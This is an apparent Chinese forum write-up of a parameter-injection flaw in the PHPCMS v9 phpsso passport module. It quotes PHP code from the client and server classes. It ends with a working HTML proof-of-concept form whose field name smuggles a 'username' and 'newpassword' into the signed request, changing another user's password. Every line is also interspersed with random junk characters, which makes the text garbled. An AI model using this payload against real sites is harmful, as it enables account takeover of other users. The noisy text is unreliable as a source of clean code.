提到的通行证的代码:/ B F5 P6 Y4 J# E0 |
" l3 w% H: { J+ p/ ]* H1 Q4 y
" k( @" `$ K! j) _4 f! tparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
+ Q# |- X2 J1 E; Z/ ^0 D
( G- v8 ^) V) Y4 g在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。, K! L$ b& `0 V. z8 i0 L
# L7 D$ O% r' S) j8 u3 w我把它留给了你们。+ E% p J7 G/ a
不知道你们发现了它没有。
9 W7 M1 O& C1 R: `/ K0 {9 o% p5 _1 D' _( S4 H* m; Q) g
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
1 C8 x, r2 v- o+ P# C" C$ \9 h$ G/ x% [7 k: P+ |2 v" B
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。: n2 V8 v6 j+ }/ ^3 F% M
8 K( e5 d, S' }/ m/ K: e也就是
" \3 W# U1 _- ]" `; ^& z- ^4 G0 [6 F, R0 w. [# @ ]- l' X( Z- a
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
' ^, V! H* h `4 @, U7 ^
) t2 P; N7 v4 \: B! \要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。9 k, R b$ k J) K- d. I8 Z K
* I* A% z( F0 c" v& f- J
9 x" I& d8 U( z
其实我们有这样的机会,看看代码,如下:
O/ D: ^& Y+ p0 P
* x8 }8 x6 C3 q. C. ~5 d
, [" p( m4 V/ Q8 g, Vpublic function auth_data($data) {
' j$ F. g! T, S" s $s = $sep = '';
8 e; S/ B+ Y1 F# S foreach($data as $k => $v) {% n4 i- H: u" `& y
if(is_array($v)) {* k, I5 O3 `+ y9 P6 V- a
$s2 = $sep2 = '';* L! r+ ^( o; M" D' c$ O9 U
foreach($v as $k2 => $v2) {3 E/ L' g2 f2 S
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);7 ~2 R& `$ J2 I: C& ~: Y
$sep2 = '&';7 i5 K; U# ~8 S" I! L
}
$ }4 P0 g. E9 e+ k $s .= $sep.$s2;! t8 V" p, h, U7 O3 I4 d/ A
} else {* D6 j5 G% H7 M2 H' k
$s .= "$sep$k=".$this->_ps_stripslashes($v);
. B9 O& M- f0 a" } }
4 C3 u& f( E/ }' ^9 f( \: _ $sep = '&';
4 F1 j a. a% m- R }$ Z4 y/ X4 b; _1 b! u+ ]8 `. R
3 ]. o5 @' Z/ f/ C V
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));* A3 e% @. f! f+ C
return $auth_s;8 n3 e+ E, x# ?# V* M7 m
}: o2 c2 e( L7 ]! v' n
) Q1 P/ F, h# B5 J9 G: V2 V
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 n) K% W9 y( n1 d3 {
' L8 f7 f3 b4 O
举个例子
5 Q1 @/ N' z9 I7 {& J" v! |
' Z9 U9 X( K2 p+ ^7 Q$a[aaa=a&bbb] = 'a';7 M* X- `8 f- G; N
6 a6 R5 o7 V* Z z5 k+ h& H会变成aaa=a&bbb=a
( d% M, k0 F7 q7 }
: B2 B( c3 }* x2 s( u {明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
. a. k: \5 O' S" [! t6 V( h" |; j0 J4 s& \3 R1 l( M" Y& y0 K
这个时候,我们可以再去看一个函数。
; a( M. S, u& y' s8 y% |& n2 o. z
( ]" y! N' {) N9 N- H就在这个文件内:5 K) c, s- n$ ?6 \8 S+ }6 t0 j
5 A" l& G. g- I# x n
# |! ^( f/ ]+ i! j. a8 D3 Gpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {9 V0 p! r, y) O0 p* Y! E* ]3 V
if($email && !$this->_is_email($email)) {
8 a" M. b$ Z3 b- M; { return -4;
0 I1 O3 e. B# B( g }
- R# g5 X% H+ { return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& g/ F1 U0 E M" [$ n3 w* ~
}
% F2 K, m" P* P; k. j; }6 i% R
$ y# Q+ ?# {: M这是向通行证发了这样一个请求。
/ ~# d% G2 _' E# V N7 R3 v5 m5 A! x( O5 ~" C6 @
我们再跟到通信证代码里去看看,就会有所发现。
+ L' @4 u1 ?: k6 z0 y/ w. c
6 A% F) F. _3 Z& m1 x; _) x
& i# E3 M d( l# X/ P$ epublic function edit() {$ }: i8 T$ ]# a7 A" ~, r
//能省就省,太长了不是吗?6 T5 A3 w- D: ]4 ^
8 w) M: Y/ X" K0 ^if($this->username) {7 Z# B. w( l! W" s# S7 G
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。; W) ?. `/ z, h( ~ |
$res = $this->db->update($data, array('username'=>$this->username));* O- O6 n* M0 c) {9 k7 u
} else {
# s1 X' K$ H3 u7 n file_put_contents('typeb.txt',print_r($data,1).$this->uid);( [5 \2 I4 {2 P( g
$res = $this->db->update($data, array('uid'=>$this->uid));% L- ~7 Z2 N0 I7 ~4 h9 |: `( q Z
}
6 r0 L9 I1 m8 L | P/ u2 A
% V0 G+ d- _, [/ R1 K3 d好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
6 ]& I7 i4 ?- P3 A9 H7 t0 v7 W7 |( `& q
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')6 _7 D! V+ x% S c
5 x& Z; Z% K" [5 p d6 [' }
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
y1 O8 B- F* ?
8 c5 z7 \" T" ]9 B我当然找到了:
. e+ f0 h8 t9 i, x5 Gphpcms9/phpcms/modules/member/index.php1 s( V! u" ]4 e* q
' P* J) y$ }/ X$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
R( z' `: z* f2 T% v$ U
0 ]+ E2 }* p4 E# U0 j6 ^# d然后就没有然后了。2 a: `+ S8 Y$ F1 v( c
% t. |# M1 w% L/ Z3 b* h/ {- A0 W) N# s<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 ?- ^7 H g5 |& s8 e; i
<table width="100%" cellspacing="0" class="table_form">
$ l' H5 L3 j( k6 h5 Y* A7 k <tr>; t0 F' K. k% q p" L7 ^6 r! ]
<th width="80">邮箱:</th> : b7 s( k/ ]& F8 J, X9 m
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
& y g6 N5 Y9 h( K) Q. M! H </tr>2 q: }" {8 h; }6 Y% ?( L' ^
<tr>
7 `0 m: p8 O* p% {6 A <th width="80">原密码:</th> ( a" m; `: j+ N8 R$ X5 M
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
' z) a$ z9 w3 v% y </tr>- |* Y* L1 J# J9 P, F/ i
<tr>
& O4 w' z2 }5 o2 }& R4 _ <th>新密码:</th>
" ?6 j/ f0 ]! {1 _6 U <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
' M! \: x& k# r$ E; y+ N1 Q </tr>- f9 v# H& ?; \6 J& ]6 Y1 w- ~
<th></th>6 X9 f. [1 L5 u
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>1 j! B& m6 @/ V9 a" x" u m7 ?
</tr>
! c$ C" `4 W9 h O9 A </table>& V, ~ q' w- C- k) i$ v' X
a! @; z( O# t
; \3 s) T7 u5 ]- T5 p" z) G( ^% m# Q/ R </form>* g o2 |; q; L
|